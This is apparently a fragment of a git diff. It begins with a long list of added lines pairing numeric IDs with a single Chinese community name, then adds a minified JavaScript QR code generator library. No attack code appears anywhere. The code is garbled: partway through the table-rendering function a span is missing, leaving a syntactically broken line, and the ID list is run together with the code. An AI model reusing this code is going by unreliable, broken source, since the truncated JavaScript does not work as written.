+ID: 113954 | Village: 兆景华庭青年社区 +ID: 113957 | Village: 兆景华庭青年社区 +ID: 113953 | Village: 兆景华庭青年社区 +ID: 113950 | Village: 兆景华庭青年社区 +ID: 113949 | Village: 兆景华庭青年社区 +ID: 113967 | Village: 兆景华庭青年社区 +ID: 113952 | Village: 兆景华庭青年社区 +ID: 113936 | Village: 兆景华庭青年社区 +ID: 113995 | Village: 兆景华庭青年社区 +ID: 113994 | Village: 兆景华庭青年社区 +ID: 113998 | Village: 兆景华庭青年社区 +ID: 113997 | Village: 兆景华庭青年社区 +ID: 113996 | Village: 兆景华庭青年社区 +ID: 113951 | Village: 兆景华庭青年社区 +ID: 113955 | Village: 兆景华庭青年社区 +ID: 114013 | Village: 兆景华庭青年社区 +ID: 114017 | Village: 兆景华庭青年社区 +ID: 114002 | Village: 兆景华庭青年社区 +ID: 114024 | Village: 兆景华庭青年社区 +ID: 114025 | Village: 兆景华庭青年社区 +ID: 114028 | Village: 兆景华庭青年社区 +ID: 114026 | Village: 兆景华庭青年社区 +ID: 114035 | Village: 兆景华庭青年社区 +ID: 114037 | Village: 兆景华庭青年社区 +ID: 114022 | Village: 兆景华庭青年社区 +ID: 114011 | Village: 兆景华庭青年社区 +ID: 114036 | Village: 兆景华庭青年社区 +ID: 114038 | Village: 兆景华庭青年社区 +ID: 114029 | Village: 兆景华庭青年社区 +ID: 113999 | Village: 兆景华庭青年社区 +ID: 114040 | Village: 兆景华庭青年社区 +ID: 114023 | Village: 兆景华庭青年社区 +ID: 114053 | Village: 兆景华庭青年社区 +ID: 114054 | Village: 兆景华庭青年社区 +ID: 114050 | Village: 兆景华庭青年社区 +ID: 114039 | Village: 兆景华庭青年社区 +ID: 114042 | Village: 兆景华庭青年社区 +ID: 114061 | Village: 兆景华庭青年社区 +ID: 114062 | Village: 兆景华庭青年社区 +ID: 114063 | Village: 兆景华庭青年社区 +ID: 114066 | Village: 兆景华庭青年社区 +ID: 114067 | Village: 兆景华庭青年社区 +ID: 114070 | Village: 兆景华庭青年社区 +ID: 114051 | Village: 兆景华庭青年社区 +ID: 114064 | Village: 兆景华庭青年社区 +ID: 114073 | Village: 兆景华庭青年社区 +ID: 114074 | Village: 兆景华庭青年社区 +ID: 114069 | Village: 兆景华庭青年社区 +ID: 114077 | Village: 兆景华庭青年社区 +ID: 114072 | Village: 兆景华庭青年社区 +ID: 114057 | Village: 兆景华庭青年社区 +ID: 114075 | Village: 兆景华庭青年社区 +ID: 114080 | Village: 兆景华庭青年社区 +ID: 114065 | Village: 兆景华庭青年社区 +ID: 114082 | Village: 兆景华庭青年社区 +ID: 114083 | Village: 兆景华庭青年社区 +ID: 114079 | Village: 兆景华庭青年社区 +ID: 114071 | Village: 兆景华庭青年社区 +ID: 114084 | Village: 兆景华庭青年社区 +ID: 114087 | Village: 兆景华庭青年社区 +ID: 114076 | Village: 兆景华庭青年社区 +ID: 114068 | Village: 兆景华庭青年社区 +ID: 114093 | Village: 兆景华庭青年社区 +ID: 114078 | Village: 兆景华庭青年社区 +ID: 114088 | Village: 兆景华庭青年社区 +ID: 114086 | Village: 兆景华庭青年社区 +ID: 114096 | Village: 兆景华庭青年社区 +ID: 114095 | Village: 兆景华庭青年社区 +ID: 114097 | Village: 兆景华庭青年社区 +ID: 114099 | Village: 兆景华庭青年社区 +ID: 114094 | Village: 兆景华庭青年社区 +ID: 114102 | Village: 兆景华庭青年社区 +ID: 114100 | Village: 兆景华庭青年社区 +ID: 114103 | Village: 兆景华庭青年社区 +ID: 114104 | Village: 兆景华庭青年社区 +ID: 114106 | Village: 兆景华庭青年社区 +ID: 114090 | Village: 兆景华庭青年社区 +ID: 114105 | Village: 兆景华庭青年社区 +ID: 114089 | Village: 兆景华庭青年社区 +ID: 114056 | Village: 兆景华庭青年社区 +ID: 114091 | Village: 兆景华庭青年社区 +ID: 114111 | Village: 兆景华庭青年社区 +ID: 114114 | Village: 兆景华庭青年社区 +ID: 114113 | Village: 兆景华庭青年社区 +ID: 114092 | Village: 兆景华庭青年社区 +ID: 114085 | Village: 兆景华庭青年社区 +ID: 114098 | Village: 兆景华庭青年社区 +ID: 114108 | Village: 兆景华庭青年社区 +ID: 114119 | Village: 兆景华庭青年社区 +ID: 114118 | Village: 兆景华庭青年社区 +ID: 114121 | Village: 兆景华庭青年社区 +ID: 114122 | Village: 兆景华庭青年社区 +ID: 114107 | Village: 兆景华庭青年社区 +ID: 114125 | Village: 兆景华庭青年社区 +ID: 114117 | Village: 兆景华庭青年社区 +ID: 114128 | Village: 兆景华庭青年社区 +ID: 114127 | Village: 兆景华庭青年社区 +ID: 114109 | Village: 兆景华庭青年社区 +ID: 114129 | Village: 兆景华庭青年社区 +ID: 114130 | Village: 兆景华庭青年社区 +ID: 114112 | Village: 兆景华庭青年社区 +ID: 114131 | Village: 兆景华庭青年社区 +ID: 114132 | Village: 兆景华庭青年社区 +ID: 114115 | Village: 兆景华庭青年社区 +ID: 114120 | Village: 兆景华庭青年社区 +ID: 114137 | Village: 兆景华庭青年社区 +ID: 114139 | Village: 兆景华庭青年社区 +ID: 114138 | Village: 兆景华庭青年社区 +ID: 114123 | Village: 兆景华庭青年社区 +ID: 114134 | Village: 兆景华庭青年社区 +ID: 114101 | Village: 兆景华庭青年社区 +ID: 114136 | Village: 兆景华庭青年社区 +ID: 114110 | Village: 兆景华庭青年社区 +ID: 114142 | Village: 兆景华庭青年社区 +ID: 114140 | Village: 兆景华庭青年社区 +ID: 114116 | Village: 兆景华庭青年社区 +ID: 114147 | Village: 兆景华庭青年社区 +ID: 114148 | Village: 兆景华庭青年社区 +ID: 114143 | Village: 兆景华庭青年社区 +ID: 114145 | Village: 兆景华庭青年社区 +ID: 114135 | Village: 兆景华庭青年社区 +ID: 114153 | Village: 兆景华庭青年社区 +ID: 114124 | Village: 兆景华庭青年社区 +ID: 114155 | Village: 兆景华庭青年社区 +ID: 114156 | Village: 兆景华庭青年社区 +ID: 114151 | Village: 兆景华庭青年社区 +ID: 114157 | Village: 兆景华庭青年社区 +ID: 114159 | Village: 兆景华庭青年社区 +ID: 114162 | Village: 兆景华庭青年社区 +ID: 114154 | Village: 兆景华庭青年社区 +ID: 114163 | Village: 兆景华庭青年社区 +ID: 114146 | Village: 兆景华庭青年社区 +ID: 114144 | Village: 兆景华庭青年社区 +ID: 114152 | Village: 兆景华庭青年社区 +ID: 114161 | Village: 兆景华庭青年社区 +ID: 114165 | Village: 兆景华庭青年社区 +ID: 114160 | Village: 兆景华庭青年社区 +ID: 114170 | Village: 兆景华庭青年社区 +ID: 114171 | Village: 兆景华庭青年社区 +ID: 114172 | Village: 兆景华庭青年社区 +ID: 114169 | Village: 兆景华庭青年社区 +ID: 114158 | Village: 兆景华庭青年社区 +ID: 114175 | Village: 兆景华庭青年社区 +ID: 114174 | Village: 兆景华庭青年社区 +ID: 114149 | Village: 兆景华庭青年社区 +ID: 114126 | Village: 兆景华庭青年社区 +ID: 114177 | Village: 兆景华庭青年社区 +ID: 114176 | Village: 兆景华庭青年社区 +ID: 114181 | Village: 兆景华庭青年社区 +ID: 114164 | Village: 兆景华庭青年社区 +ID: 114182 | Village: 兆景华庭青年社区 +ID: 114179 | Village: 兆景华庭青年社区 +ID: 114184 | Village: 兆景华庭青年社区 +ID: 114187 | Village: 兆景华庭青年社区 +ID: 114150 | Village: 兆景华庭青年社区 +ID: 114183 | Village: 兆景华庭青年社区 +ID: 114186 | Village: 兆景华庭青年社区 +ID: 114185 | Village: 兆景华庭青年社区 +ID: 114192 | Village: 兆景华庭青年社区 +ID: 114195 | Village: 兆景华庭青年社区 +ID: 114168 | Village: 兆景华庭青年社区 +ID: 114194 | Village: 兆景华庭青年社区 +ID: 114178 | Village: 兆景华庭青年社区 +ID: 114166 | Village: 兆景华庭青年社区 +ID: 114198 | Village: 兆景华庭青年社区 +ID: 114180 | Village: 兆景华庭青年社区 +ID: 114200 | Village: 兆景华庭青年社区 +ID: 114201 | Village: 兆景华庭青年社区 +ID: 114196 | Village: 兆景华庭青年社区 +ID: 114202 | Village: 兆景华庭青年社区 +ID: 114197 | Village: 兆景华庭青年社区 +ID: 114203 | Village: 兆景华庭青年社区 +ID: 114188 | Village: 兆景华庭青年社区 +ID: 114191 | Village: 兆景华庭青年社区 +ID: 114199 | Village: 兆景华庭青年社区 +ID: 114189 | Village: 兆景华庭青年社区 +ID: 114208 | Village: 兆景华庭青年社区 +ID: 114190 | Village: 兆景华庭青年社区 +ID: 114214 | Village: 兆景华庭青年社区 +ID: 114207 | Village: 兆景华庭青年社区 +ID: 114204 | Village: 兆景华庭青年社区 +ID: 114210 | Village: 兆景华庭青年社区 +ID: 114209 | Village: 兆景华庭青年社区 +ID: 114205 | Village: 兆景华庭青年社区 +ID: 114193 | Village: 兆景华庭青年社区 +ID: 114213 | Village: 兆景华庭青年社区 +ID: 114215 | Village: 兆景华庭青年社区 +ID: 114220 | Village: 兆景华庭青年社区 +ID: 114221 | Village: 兆景华庭青年社区 +ID: 114212 | Village: 兆景华庭青年社区 +ID: 114224 | Village: 兆景华庭青年社区 +ID: 114225 | Village: 兆景华庭青年社区 +ID: 114211 | Village: 兆景华庭青年社区 +ID: 114226 | Village: 兆景华庭青年社区 +ID: 114223 | Village: 兆景华庭青年社区 +ID: 114228 | Village: 兆景华庭青年社区 +ID: 114222 | Village: 兆景华庭青年社区 +ID: 114230 | Village: 兆景华庭青年社区 +ID: 114232 | Village: 兆景华庭青年社区 +ID: 114217 | Village: 兆景华庭青年社区 +ID: 114218 | Village: 兆景华庭青年社区 +ID: 114216 | Village: 兆景华庭青年社区 +ID: 114235 | Village: 兆景华庭青年社区 +ID: 114236 | Village: 兆景华庭青年社区 +ID: 114231 | Village: 兆景华庭青年社区 +ID: 114239 | Village: 兆景华庭青年社区 +ID: 114219 | Village: 兆景华庭青年社区 +ID: 114237 | Village: 兆景华庭青年社区 +ID: 114240 | Village: 兆景华庭青年社区 +ID: 114227 | Village: 兆景华庭青年社区 +ID: 114245 | Village: 兆景华庭青年社区 +ID: 114241 | Village: 兆景华庭青年社区 +ID: 114229 | Village: 兆景华庭青年社区 +ID: 114242 | Village: 兆景华庭青年社区 +ID: 114249 | Village: 兆景华庭青年社区 +ID: 114206 | Village: 兆景华庭青年社区 +ID: 114250 | Village: 兆景华庭青年社区 +ID: 114234 | Village: 兆景华庭青年社区 +ID: 114238 | Village: 兆景华庭青年社区 +ID: 114256 | Village: 兆景华庭青年社区 +ID: 114257 | Village: 兆景华庭青年社区 +ID: 114167 | Village: 兆景华庭青年社区 +ID: 114258 | Village: 兆景华庭青年社区 +ID: 114251 | Village: 兆景华庭青年社区 +ID: 114254 | Village: 兆景华庭青年社区 +ID: 114260 | Village: 兆景华庭青年社区 +ID: 114244 | Village: 兆景华庭青年社区 +ID: 114262 | Village: 兆景华庭青年社区 +ID: 114248 | Village: 兆景华庭青年社区 +ID: 114247 | Village: 兆景华庭青年社区 +ID: 114267 | Village: 兆景华庭青年社区 +ID: 114261 | Village: 兆景华庭青年社区 +ID: 114259 | Village: 兆景华庭青年社区 +ID: 114246 | Village: 兆景华庭青年社区 +ID: 114264 | Village: 兆景华庭青年社区 +ID: 114253 | Village: 兆景华庭青年社区 +ID: 114272 | Village: 兆景华庭青年社区 +ID: 114273 | Village: 兆景华庭青年社区 +ID: 114268 | Village: 兆景华庭青年社区 +ID: 114274 | Village: 兆景华庭青年社区 +ID: 114275 | Village: 兆景华庭青年社区 +ID: 114269 | Village: 兆景华庭青年社区 +ID: 114277 | Village: 兆景华庭青年社区 +ID: 114255 | Village: 兆景华庭青年社区 +ID: 114271 | Village: 兆景华庭青年社区 +ID: 114282 | Village: 兆景华庭青年社区 +ID: 114265 | Village: 兆景华庭青年社区 +ID: 114266 | Village: 兆景华庭青年社区 +ID: 114233 | Village: 兆景华庭青年社区 +ID: 114286 | Village: 兆景华庭青年社区 +ID: 114287 | Village: 兆景华庭青年社区 +ID: 114284 | Village: 兆景华庭青年社区 +ID: 114283 | Village: 兆景华庭青年社区 +ID: 114290 | Village: 兆景华庭青年社区 +ID: 114285 | Village: 兆景华庭青年社区 +ID: 114252 | Village: 兆景华庭青年社区 +ID: 114278 | Village: 兆景华庭青年社区 +ID: 114292 | Village: 兆景华庭青年社区 +ID: 114263 | Village: 兆景华庭青年社区 +ID: 114276 | Village: 兆景华庭青年社区 +ID: 114280 | Village: 兆景华庭青年社区 +ID: 114297 | Village: 兆景华庭青年社区 +ID: 114293 | Village: 兆景华庭青年社区 +ID: 114299 | Village: 兆景华庭青年社区 +ID: 114279 | Village: 兆景华庭青年社区 +ID: 114300 | Village: 兆景华庭青年社区 +ID: 114303 | Village: 兆景华庭青年社区 +ID: 114294 | Village: 兆景华庭青年社区 +ID: 114289 | Village: 兆景华庭青年社区 +ID: 114307 | Village: 兆景华庭青年社区 +ID: 114291 | Village: 兆景华庭青年社区 +ID: 114308 | Village: 兆景华庭青年社区 +ID: 114301 | Village: 兆景华庭青年社区 +ID: 114296 | Village: 兆景华庭青年社区 +ID: 114304 | Village: 兆景华庭青年社区 +ID: 114270 | Village: 兆景华庭青年社区 +ID: 114305 | Village: 兆景华庭青年社区 +ID: 114312 | Village: 兆景华庭青年社区 +ID: 114309 | Village: 兆景华庭青年社区 +ID: 114318 | Village: 兆景华庭青年社区 +ID: 114288 | Village: 兆景华庭青年社区 +ID: 114302 | Village: 兆景华庭青年社区 +ID: 114298 | Village: 兆景华庭青年社区 +ID: 114315 | Village: 兆景华庭青年社区 +ID: 114321 | Village: 兆景华庭青年社区 +ID: 114325 | Village: 兆景华庭青年社区 +ID: 114326 | Village: 兆景华庭青年社区 +ID: 114322 | Village: 兆景华庭青年社区 +ID: 114295 | Village: 兆景华庭青年社区 +ID: 114313 | Village: 兆景华庭青年社区 +ID: 114331 | Village: 兆景华庭青年社区 +ID: 114327 | Village: 兆景华庭青年社区 +ID: 114333 | Village: 兆景华庭青年社区 +ID: 114330 | Village: 兆景华庭青年社区 +ID: 114341 | Village: 兆景华庭青年社区 +ID: 114323 | Village: 兆景华庭青年社区 +ID: 114328 | Village: 兆景华庭青年社区 +ID: 114344 | Village: 兆景华庭青年社区 +ID: 114348 | Village: 兆景华庭青年社区 +ID: 114350 | Village: 兆景华庭青年社区 +ID: 114311 | Village: 兆景华庭青年社区 +ID: 114354 | Village: 兆景华庭青年社区 +ID: 114355 | Village: 兆景华庭青年社区 +ID: 114351 | Village: 兆景华庭青年社区 +ID: 114343 | Village: 兆景华庭青年社区 +ID: 114342 | Village: 兆景华庭青年社区 +ID: 114364 | Village: 兆景华庭青年社区 +ID: 114363 | Village: 兆景华庭青年社区 +ID: 114347 | Village: 兆景华庭青年社区 +ID: 114360 | Village: 兆景华庭青年社区 +ID: 114366 | Village: 兆景华庭青年社区 +ID: 114352 | Village: 兆景华庭青年社区 +ID: 114371 | Village: 兆景华庭青年社区 +ID: 114373 | Village: 兆景华庭青年社区 +ID: 114374 | Village: 兆景华庭青年社区 +ID: 114375 | Village: 兆景华庭青年社区 +ID: 114357 | Village: 兆景华庭青年社区 +ID: 114376 | Village: 兆景华庭青年社区 +ID: 114377 | Village: 兆景华庭青年社区 +ID: 114378 | Village: 兆景华庭青年社区 +ID: 114387 | Village: 兆景华庭青年社区 +ID: 114382 | Village: 兆景华庭青年社区 +ID: 114380 | Village: 兆景华庭青年社区 +ID: 114383 | Village: 兆景华庭青年社区 +ID: 114388 | Village: 兆景华庭青年社区 +ID: 114389 | Village: 兆景华庭青年社区 +ID: 114359 | Village: 兆景华庭青年社区 +ID: 114390 | Village: 兆景华庭青年社区 +ID: 114365 | Village: 兆景华庭青年社区 +ID: 114391 | Village: 兆景华庭青年社区 +ID: 114392 | Village: 兆景华庭青年社区 +ID: 114356 | Village: 兆景华庭青年社区 +ID: 114397 | Village: 兆景华庭青年社区 +ID: 114399 | Village: 兆景华庭青年社区 +ID: 114379 | Village: 兆景华庭青年社区 +ID: 114402 | Village: 兆景华庭青年社区 +ID: 114404 | Village: 兆景华庭青年社区 +ID: 114405 | Village: 兆景华庭青年社区 +ID: 114406 | Village: 兆景华庭青年社区 +ID: 114384 | Village: 兆景华庭青年社区 +ID: 114407 | Village: 兆景华庭青年社区 +ID: 114408 | Village: 兆景华庭青年社区 +ID: 114409 | Village: 兆景华庭青年社区 +ID: 114410 | Village: 兆景华庭青年社区 +ID: 114396 | Village: 兆景华庭青年社区 +ID: 114394 | Village: 兆景华庭青年社区 +ID: 114393 | Village: 兆景华庭青年社区 +ID: 114411 | Village: 兆景华庭青年社区 +ID: 114413 | Village: 兆景华庭青年社区 +ID: 114401 | Village: 兆景华庭青年社区 +ID: 114416 | Village: 兆景华庭青年社区 +ID: 114419 | Village: 兆景华庭青年社区 +ID: 114417 | Village: 兆景华庭青年社区 +ID: 114403 | Village: 兆景华庭青年社区 +ID: 114412 | Village: 兆景华庭青年社区 +ID: 114414 | Village: 兆景华庭青年社区 +ID: 114421 | Village: 兆景华庭青年社区 +ID: 114415 | Village: 兆景华庭青年社区 +ID: 114423 | Village: 兆景华庭青年社区 +ID: 114418 | Village: 兆景华庭青年社区 +ID: 114428 | Village: 兆景华庭青年社区 +ID: 114398 | Village: 兆景华庭青年社区 +ID: 114432 | Village: 兆景华庭青年社区 +ID: 114395 | Village: 兆景华庭青年社区 +ID: 114400 | Village: 兆景华庭青年社区 +ID: 114420 | Village: 兆景华庭青年社区 +ID: 114443 | Village: 兆景华庭青年社区 +ID: 114447 | Village: 兆景华庭青年社区 +ID: 114448 | Village: 兆景华庭青年社区 +ID: 114385 | Village: 兆景华庭青年社区 +ID: 114446 | Village: 兆景华庭青年社区 +ID: 114436 | Village: 兆景华庭青年社区 +ID: 114462 | Village: 兆景华庭青年社区 +ID: 114456 | Village: 兆景华庭青年社区 +ID: 114459 | Village: 兆景华庭青年社区 +ID: 114449 | Village: 兆景华庭青年社区 +ID: 114466 | Village: 兆景华庭青年社区 +ID: 114467 | Village: 兆景华庭青年社区 +ID: 114463 | Village: 兆景华庭青年社区 +ID: 114465 | Village: 兆景华庭青年社区 +ID: 114469 | Village: 兆景华庭青年社区 +ID: 114471 | Village: 兆景华庭青年社区 +ID: 114468 | Village: 兆景华庭青年社区 +ID: 114475 | Village: 兆景华庭青年社区 +ID: 114458 | Village: 兆景华庭青年社区 +ID: 114478 | Village: 兆景华庭青年社区 +ID: 114477 | Village: 兆景华庭青年社区 +ID: 114481 | Village: 兆景华庭青年社区 +ID: 114476 | Village: 兆景华庭青年社区 +ID: 114472 | Village: 兆景华庭青年社区 +ID: 114480 | Village: 兆景华庭青年社区 +ID: 114470 | Village: 兆景华庭青年社区 +ID: 114464 | Village: 兆景华庭青年社区 +ID: 114474 | Village: 兆景华庭青年社区 +ID: 114473 | Village: 兆景华庭青年社区 +ID: 114517 | Village: 兆景华庭青年社区 +ID: 114520 | Village: 兆景华庭青年社区 +ID: 114535 | Village: 兆景华庭青年社区 +ID: 114548 | Village: 兆景华庭青年社区 +ID: 114547 | Village: 兆景华庭青年社区 +ID: 114551 | Village: 兆景华庭青年社区 +ID: 114553 | Village: 兆景华庭青年社区 +ID: 114552 | Village: 兆景华庭青年社区 +ID: 114556 | Village: 兆景华庭青年社区 +ID: 114558 | Village: 兆景华庭青年社区 +ID: 114555 | Village: 兆景华庭青年社区 +ID: 114549 | Village: 兆景华庭青年社区 +ID: 114554 | Village: 兆景华庭青年社区 +ID: 114557 | Village: 兆景华庭青年社区 +ID: 114550 | Village: 兆景华庭青年社区 +ID: 114422 | Village: 兆景华庭青年社区 +ID: 114577 | Village: 兆景华庭青年社区 +ID: 114773 | Village: 兆景华庭青年社区 +ID: 114780 | Village: 兆景华庭青年社区 +ID: 114774 | Village: 兆景华庭青年社区 +ID: 114769 | Village: 兆景华庭青年社区 +ID: 114784 | Village: 兆景华庭青年社区 +ID: 114776 | Village: 兆景华庭青年社区 +ID: 114775 | Village: 兆景华庭青年社区 +ID: 114796 | Village: 兆景华庭青年社区 +ID: 114801 | Village: 兆景华庭青年社区 +ID: 114797 | Village: 兆景华庭青年社区 +ID: 114798 | Village: 兆景华庭青年社区 +ID: 114815 | Village: 兆景华庭青年社区 +ID: 114831 | Village: 兆景华庭青年社区 +ID: 114816 | Village: 兆景华庭青年社区 +ID: 114833 | Village: 兆景华庭青年社区 +ID: 114826 | Village: 兆景华庭青年社区 +ID: 114827 | Village: 兆景华庭青年社区 +ID: 114834 | Village: 兆景华庭青年社区 +ID: 114836 | Village: 兆景华庭青年社区 +ID: 114838 | Village: 兆景华庭青年社区 +ID: 114825 | Village: 兆景华庭青年社区 +ID: 114844 | Village: 兆景华庭青年社区 +ID: 114830 | Village: 兆景华庭青年社区 +ID: 114832 | Village: 兆景华庭青年社区 +ID: 114811 | Village: 兆景华庭青年社区 +ID: 114835 | Village: 兆景华庭青年社区 +ID: 114865 | Village: 兆景华庭青年社区 +ID: 114867 | Village: 兆景华庭青年社区 +ID: 114857 | Village: 兆景华庭青年社区 +ID: 114881 | Village: 兆景华庭青年社区 +ID: 114882 | Village: 兆景华庭青年社区 +ID: 114889 | Village: 兆景华庭青年社区 +ID: 114890 | Village: 兆景华庭青年社区 +ID: 114888 | Village: 兆景华庭青年社区 +ID: 114883 | Village: 兆景华庭青年社区 +ID: 114795 | Village: 兆景华庭青年社区 +ID: 114886 | Village: 兆景华庭青年社区 +ID: 114893 | Village: 兆景华庭青年社区 +ID: 114894 | Village: 兆景华庭青年社区 +ID: 114880 | Village: 兆景华庭青年社区 +ID: 114892 | Village: 兆景华庭青年社区 +ID: 114891 | Village: 兆景华庭青年社区 +ID: 114887 | Village: 兆景华庭青年社区 diff --git a/js/0C723952F73FD4DF6A145155C4220D83.js b/js/0C723952F73FD4DF6A145155C4220D83.js new file mode 100644 index 0000000..7f0f6c4 --- /dev/null +++ b/js/0C723952F73FD4DF6A145155C4220D83.js @@ -0,0 +1,800 @@ +Object.defineProperty(exports, "__esModule", { + value: !0 +}), exports.QR = void 0; +var r = function(r, t) { + var e = r, + n = f[t], + o = null, + a = 0, + i = null, + u = [], + g = {}, + c = function(r, t) { + o = function(r) { + for (var t = new Array(r), e = 0; e < r; e += 1) { + t[e] = new Array(r); + for (var n = 0; n < r; n += 1) t[e][n] = null + } + return t + }(a = 4 * e + 17), h(0, 0), h(a - 7, 0), h(0, a - 7), v(), l(), w(r, t), e >= 7 && s(r), null == i && (i = p(e, n, u)), d(i, t) + }, + h = function(r, t) { + for (var e = -1; e <= 7; e += 1) + if (!(r + e <= -1 || a <= r + e)) + for (var n = -1; n <= 7; n += 1) t + n <= -1 || a <= t + n || (o[r + e][t + n] = 0 <= e && e <= 6 && (0 === n || 6 === n) || 0 <= n && n <= 6 && (0 === e || 6 === e) || 2 <= e && e <= 4 && 2 <= n && n <= 4) + }, + l = function() { + for (var r = 8; r < a - 8; r += 1) null == o[r][6] && (o[r][6] = r % 2 == 0); + for (var t = 8; t < a - 8; t += 1) null == o[6][t] && (o[6][t] = t % 2 == 0) + }, + v = function() { + for (var r = y.getPatternPosition(e), t = 0; t < r.length; t += 1) + for (var n = 0; n < r.length; n += 1) { + var a = r[t], + i = r[n]; + if (null == o[a][i]) + for (var u = -2; u <= 2; u += 1) + for (var f = -2; f <= 2; f += 1) o[a + u][i + f] = -2 === u || 2 === u || -2 === f || 2 === f || 0 === u && 0 === f + } + }, + s = function(r) { + for (var t = y.getBCHTypeNumber(e), n = 0; n < 18; n += 1) o[Math.floor(n / 3)][n % 3 + a - 8 - 3] = !r && 1 == (t >> n & 1); + for (var i = 0; i < 18; i += 1) o[i % 3 + a - 8 - 3][Math.floor(i / 3)] = !r && 1 == (t >> i & 1) + }, + w = function(r, t) { + for (var e = n << 3 | t, i = y.getBCHTypeInfo(e), u = 0; u < 15; u += 1) { + var f = !r && 1 == (i >> u & 1); + u < 6 ? o[u][8] = f : u < 8 ? o[u + 1][8] = f : o[a - 15 + u][8] = f + } + for (var g = 0; g < 15; g += 1) { + var c = !r && 1 == (i >> g & 1); + g < 8 ? o[8][a - g - 1] = c : g < 9 ? o[8][15 - g - 1 + 1] = c : o[8][15 - g - 1] = c + } + o[a - 8][8] = !r + }, + d = function(r, t) { + for (var e = -1, n = a - 1, i = 7, u = 0, f = y.getMaskFunction(t), g = a - 1; g > 0; g -= 2) + for (6 === g && (g -= 1);;) { + for (var c = 0; c < 2; c += 1) + if (null == o[n][g - c]) { + var h = !1; + u < r.length && (h = 1 == (r[u] >>> i & 1)), f(n, g - c) && (h = !h), o[n][g - c] = h, -1 === (i -= 1) && (u += 1, i = 7) + } if ((n += e) < 0 || a <= n) { + n -= e, e = -e; + break + } + } + }, + p = function(r, t, e) { + for (var n = C.getRSBlocks(r, t), o = k(), a = 0; a < e.length; a += 1) { + var i = e[a]; + o.put(i.getMode(), 4), o.put(i.getLength(), y.getLengthInBits(i.getMode(), r)), i.write(o) + } + for (var u = 0, f = 0; f < n.length; f += 1) u += n[f].dataCount; + if (o.getLengthInBits() > 8 * u) throw new Error("code length overflow. (" + o.getLengthInBits() + ">" + 8 * u + ")"); + for (o.getLengthInBits() + 4 <= 8 * u && o.put(0, 4); o.getLengthInBits() % 8 != 0;) o.putBit(!1); + for (; !(o.getLengthInBits() >= 8 * u || (o.put(236, 8), o.getLengthInBits() >= 8 * u));) o.put(17, 8); + return function(r, t) { + for (var e = 0, n = 0, o = 0, a = new Array(t.length), i = new Array(t.length), u = 0; u < t.length; u += 1) { + var f = t[u].dataCount, + g = t[u].totalCount - f; + n = Math.max(n, f), o = Math.max(o, g), a[u] = new Array(f); + for (var c = 0; c < a[u].length; c += 1) a[u][c] = 255 & r.getBuffer()[c + e]; + e += f; + var h = y.getErrorCorrectPolynomial(g), + l = B(a[u], h.getLength() - 1).mod(h); + i[u] = new Array(h.getLength() - 1); + for (var v = 0; v < i[u].length; v += 1) { + var s = v + l.getLength() - i[u].length; + i[u][v] = s >= 0 ? l.getAt(s) : 0 + } + } + for (var w = 0, d = 0; d < t.length; d += 1) w += t[d].totalCount; + for (var p = new Array(w), C = 0, k = 0; k < n; k += 1) + for (var m = 0; m < t.length; m += 1) k < a[m].length && (p[C] = a[m][k], C += 1); + for (var A = 0; A < o; A += 1) + for (var L = 0; L < t.length; L += 1) A < i[L].length && (p[C] = i[L][A], C += 1); + return p + }(o, n) + }; + return g.addData = function(r) { + var t = m(r); + u.push(t), i = null + }, g.isDark = function(r, t) { + if (r < 0 || a <= r || t < 0 || a <= t) throw new Error(r + "," + t); + return o[r][t] + }, g.getModuleCount = function() { + return a + }, g.make = function() { + c(!1, function() { + for (var r = 0, t = 0, e = 0; e < 8; e += 1) { + c(!0, e); + var n = y.getLostPoint(g); + (0 === e || r > n) && (r = n, t = e) + } + return t + }()) + }, g.createTableTag = function(r, t) { + r = r || 2; + var e = ""; + e += '>> 8), t.push(255 & i)) : t.push(n) + } + } + return t + } +}; +var t, e, n, o = 1, + a = 2, + i = 4, + u = 8, + f = { + L: 1, + M: 0, + Q: 3, + H: 2 + }, + g = 0, + c = 1, + h = 2, + l = 3, + v = 4, + s = 5, + w = 6, + d = 7, + y = (t = [ + [], + [6, 18], + [6, 22], + [6, 26], + [6, 30], + [6, 34], + [6, 22, 38], + [6, 24, 42], + [6, 26, 46], + [6, 28, 50], + [6, 30, 54], + [6, 32, 58], + [6, 34, 62], + [6, 26, 46, 66], + [6, 26, 48, 70], + [6, 26, 50, 74], + [6, 30, 54, 78], + [6, 30, 56, 82], + [6, 30, 58, 86], + [6, 34, 62, 90], + [6, 28, 50, 72, 94], + [6, 26, 50, 74, 98], + [6, 30, 54, 78, 102], + [6, 28, 54, 80, 106], + [6, 32, 58, 84, 110], + [6, 30, 58, 86, 114], + [6, 34, 62, 90, 118], + [6, 26, 50, 74, 98, 122], + [6, 30, 54, 78, 102, 126], + [6, 26, 52, 78, 104, 130], + [6, 30, 56, 82, 108, 134], + [6, 34, 60, 86, 112, 138], + [6, 30, 58, 86, 114, 142], + [6, 34, 62, 90, 118, 146], + [6, 30, 54, 78, 102, 126, 150], + [6, 24, 50, 76, 102, 128, 154], + [6, 28, 54, 80, 106, 132, 158], + [6, 32, 58, 84, 110, 136, 162], + [6, 26, 54, 82, 110, 138, 166], + [6, 30, 58, 86, 114, 142, 170] + ], n = function(r) { + for (var t = 0; 0 !== r;) t += 1, r >>>= 1; + return t + }, (e = {}).getBCHTypeInfo = function(r) { + for (var t = r << 10; n(t) - n(1335) >= 0;) t ^= 1335 << n(t) - n(1335); + return 21522 ^ (r << 10 | t) + }, e.getBCHTypeNumber = function(r) { + for (var t = r << 12; n(t) - n(7973) >= 0;) t ^= 7973 << n(t) - n(7973); + return r << 12 | t + }, e.getPatternPosition = function(r) { + return t[r - 1] + }, e.getMaskFunction = function(r) { + switch (r) { + case g: + return function(r, t) { + return (r + t) % 2 == 0 + }; + case c: + return function(r, t) { + return r % 2 == 0 + }; + case h: + return function(r, t) { + return t % 3 == 0 + }; + case l: + return function(r, t) { + return (r + t) % 3 == 0 + }; + case v: + return function(r, t) { + return (Math.floor(r / 2) + Math.floor(t / 3)) % 2 == 0 + }; + case s: + return function(r, t) { + return r * t % 2 + r * t % 3 == 0 + }; + case w: + return function(r, t) { + return (r * t % 2 + r * t % 3) % 2 == 0 + }; + case d: + return function(r, t) { + return (r * t % 3 + (r + t) % 2) % 2 == 0 + }; + default: + throw new Error("bad maskPattern:" + r) + } + }, e.getErrorCorrectPolynomial = function(r) { + for (var t = B([1], 0), e = 0; e < r; e += 1) t = t.multiply(B([1, p.gexp(e)], 0)); + return t + }, e.getLengthInBits = function(r, t) { + if (1 <= t && t < 10) switch (r) { + case o: + return 10; + case a: + return 9; + case i: + case u: + return 8; + default: + throw new Error("mode:" + r) + } else 